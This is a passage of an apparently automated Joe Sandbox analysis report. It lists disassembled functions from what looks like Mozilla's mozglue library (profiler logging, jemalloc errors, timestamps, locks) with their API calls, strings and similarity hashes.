ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CDEF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CDEF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CDEF3A8
[I %d/%d] profiler_resume, xrefs: 6CDEF239

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 7bbd28c799ab52ecc0b39293e03650889671dac873ad99b6f82852b209240c56
Instruction ID: 4f9eeafe242664d9118f85c9afca8e0b4938fef949b06494db13b7389605ea9c
Opcode Fuzzy Hash: 7bbd28c799ab52ecc0b39293e03650889671dac873ad99b6f82852b209240c56
Instruction Fuzzy Hash: 1AF0B475A002049BEB006F64DC48B9A777DEB8A26DF100015EA0687701CB7D5800CB74

Function 6CDB0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CDB0DF8), ref: 6CDB0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CDB0EA1
__Init_thread_footer.LIBCMT ref: 6CDB0EB5
FreeLibrary.KERNEL32 ref: 6CDB0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CDB0E9B
kernel32.dll, xrefs: 6CDB0E7D

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: c6e198bf01c640ca5104678e554827265158331a484582a5e6167a22e64b3bec
Instruction ID: 0c2841dd15a307d24245f60e0bb48fe60c967ebeb4d7bab2a3f096d9c4ffd432
Opcode Fuzzy Hash: c6e198bf01c640ca5104678e554827265158331a484582a5e6167a22e64b3bec
Instruction Fuzzy Hash: 590124B0A103A5CBEB008FA8CA94B5637B5E74675AF200525AD86A6B50D73CF4058B51

Function 6CDEF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CDEF598), ref: 6CDEF621

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEF637
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF645
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CDEF62A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 7c02b86af6d8eff12deee9be88d0691b03ddded1bbd40f18be5b130b92923008
Instruction ID: ea28b0a6bead314d9660b2bc5962136208d61f29c5f5d8194b8c8da132af15f1
Opcode Fuzzy Hash: 7c02b86af6d8eff12deee9be88d0691b03ddded1bbd40f18be5b130b92923008
Instruction Fuzzy Hash: 05F0BEB5A00244ABEB006B64DC48B9A7B7DEB8A2ADF100019EA0687751CB7D58018B74

Function 6CDE05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CDDCFAE,?,?,?,6CDA31A7), ref: 6CDE05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CDDCFAE,?,?,?,6CDA31A7), ref: 6CDE0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CDA31A7), ref: 6CDE061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CDA31A7), ref: 6CDE0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDE061B, 6CDE0625
<jemalloc>, xrefs: 6CDE05FA, 6CDE060F

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 865de6ff296fbd25fc52952c4e415d1f02c0570f532eb6184b90cb6c59165cc8
Instruction ID: 1032f508dfeff075f88a5c1c2d486445f31480ed6cab4b83f2446ece9d3d4873
Opcode Fuzzy Hash: 865de6ff296fbd25fc52952c4e415d1f02c0570f532eb6184b90cb6c59165cc8
Instruction Fuzzy Hash: 34E08CE2A0505037F5142256AC86EBB762CDBC6534F180039FD0D82701E94AAD2A91F6

Function 6CDB05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49457b7f17699479c38ffa9b4d512f54c3e4085c4e0f4ed2568638379ff24934
Instruction ID: b09d7e0841b5788fa94d65e030e64b75c66cf252a0bda10de64fac5c0bf6d58e
Opcode Fuzzy Hash: 49457b7f17699479c38ffa9b4d512f54c3e4085c4e0f4ed2568638379ff24934
Instruction Fuzzy Hash: 68A126B4A00645CFDB14CF29C694B99FBF1BB48304F54866ED48AA7B10E734BA45CFA0

Function 6CE014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CE014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CE014E2
GetCurrentThreadId.KERNEL32 ref: 6CE01546
InitializeConditionVariable.KERNEL32(?), ref: 6CE015BA
free.MOZGLUE(?), ref: 6CE016B4

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: a51fbc55a1661bc3bd7468364e95d1c18ccb669d8541d8cb9935e6d1dbe184a7
Instruction ID: f89050ec3cec57dc46057596ebcde422cbd4f6bebee8a24cd6e127ed750c9f34
Opcode Fuzzy Hash: a51fbc55a1661bc3bd7468364e95d1c18ccb669d8541d8cb9935e6d1dbe184a7
Instruction Fuzzy Hash: 9861FE31A007549BCB218F64C880BDAB7B5BF8A30CF05851CED8A5B711DB34E959CBE1

Function 6CDF9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDF9FDB
free.MOZGLUE(?,?), ref: 6CDF9FF0
free.MOZGLUE(?,?), ref: 6CDFA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDFA0BE
free.MOZGLUE(?,?), ref: 6CDFA0D5
free.MOZGLUE(?,?), ref: 6CDFA0EB

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8a07ca528c1e5e4452dfe7832c4c0d9e22b1b0b2a9e76a2b3a880b458df9b779
Instruction ID: 97ef8226891a9dab1cd84b21eccca111d52e4f95b928b13575bb551eb028925b
Opcode Fuzzy Hash: 8a07ca528c1e5e4452dfe7832c4c0d9e22b1b0b2a9e76a2b3a880b458df9b779
Instruction Fuzzy Hash: EE61C1759087019FC711CF18C48059AB3F9FF88328F558659E8A99B712E732E987CBD2

Function 6CDACFE0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDACFF6
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDAD026
VirtualAlloc.KERNEL32(00000000,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,00001000,00000004), ref: 6CDAD06C
VirtualFree.KERNEL32(00000000,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,00004000), ref: 6CDAD139

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDAD04F, 6CDAD11A
MOZ_CRASH(), xrefs: 6CDAD187

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 1090480015-850247558
Opcode ID: 92f631f3f886765afdccf02021ecf32ada550531dc37c6d4be2072657fdbb56e
Instruction ID: c0a043982689be0680eac5db493de61409bbcb7d55cdf5b971dc747eae5ab86f
Opcode Fuzzy Hash: 92f631f3f886765afdccf02021ecf32ada550531dc37c6d4be2072657fdbb56e
Instruction Fuzzy Hash: EE41CF31B00B268FDB048FBDCC913AA76B0EB49711F250139EE99E7784D7A998018BD5

Function 6CDFDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDFDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CDFD38A,?), ref: 6CDFDC6F
free.MOZGLUE(?,?,?,?,?,6CDFD38A,?), ref: 6CDFDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CDFD38A,?), ref: 6CDFDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CDFD38A,?), ref: 6CDFDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CDFD38A,?), ref: 6CDFDD4A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 693ec474fffb9710f93d51e30b95d53f936807e720197d6fafc7b83090eef370
Instruction ID: fa9931c0bbb032708ee48100736baa2e29e0bbf1feaf16346365700ee4d2d177
Opcode Fuzzy Hash: 693ec474fffb9710f93d51e30b95d53f936807e720197d6fafc7b83090eef370
Instruction Fuzzy Hash: 3F416DB5A00205CFCB00CF99C880A9AB7F5FF8D318B564569D956ABB20D771FC01CBA0

Function 6CDFCCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000,?), ref: 6CDFCDA4

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

Part of subcall function 6CDFD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,6CDFCDBA,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000,?), ref: 6CDFD158
Part of subcall function 6CDFD130: InitializeConditionVariable.KERNEL32(00000098,?,6CDFCDBA,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000,?), ref: 6CDFD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000,?), ref: 6CDFCDC4

Part of subcall function 6CDF7480: ReleaseSRWLockExclusive.KERNEL32(?,6CE015FC,?,?,?,?,6CE015FC,?), ref: 6CDF74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000,?), ref: 6CDFCECC

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

Part of subcall function 6CDECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CDFCEEA,?,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000), ref: 6CDECB57
Part of subcall function 6CDECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CDECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CDFCEEA,?,?), ref: 6CDECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CDEDA31,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,?,?,00000000,?), ref: 6CDFD058

Strings

N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDFCCF4, 6CDFCD6C, 6CDFCDB4

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 861561044-3214024442
Opcode ID: c1d18177fbee25d85a378cd074e5dffbcc5b80b845ec8b555e5843e49a81a1c6
Instruction ID: ed8e0737ef74f2aa740f16c38aac4ff46ada6329c7d9a125fb592b1383354f50
Opcode Fuzzy Hash: c1d18177fbee25d85a378cd074e5dffbcc5b80b845ec8b555e5843e49a81a1c6
Instruction Fuzzy Hash: 95D17F71A04B469FD718CF28C480799F7F1BF89304F01862DD8698B761EB31E9A5CB91

Function 6CDDD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CDAEB57,?,?,?,?,?,?,?,?,?), ref: 6CDDD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CDAEB57,?), ref: 6CDDD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CDAEB57,?), ref: 6CDDD673
free.MOZGLUE(?), ref: 6CDDD888

Strings

|Enabled, xrefs: 6CDDD81E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 3b82ce0fe1b3196d792f5474da2b6d7dff437af398934af9cd270fa4a4ae1166
Instruction ID: 99dcab5f6f5bedebdd0c943d6b8227bc38d197f123f43911bd6ee91315828fb7
Opcode Fuzzy Hash: 3b82ce0fe1b3196d792f5474da2b6d7dff437af398934af9cd270fa4a4ae1166
Instruction Fuzzy Hash: 32A1DFB0E002189FDF11CF69C490BAEBBF1AF49318F19805CD88AAB751D735A845CBB1

Function 6CDCD468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

EnterCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD4F2
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD50B

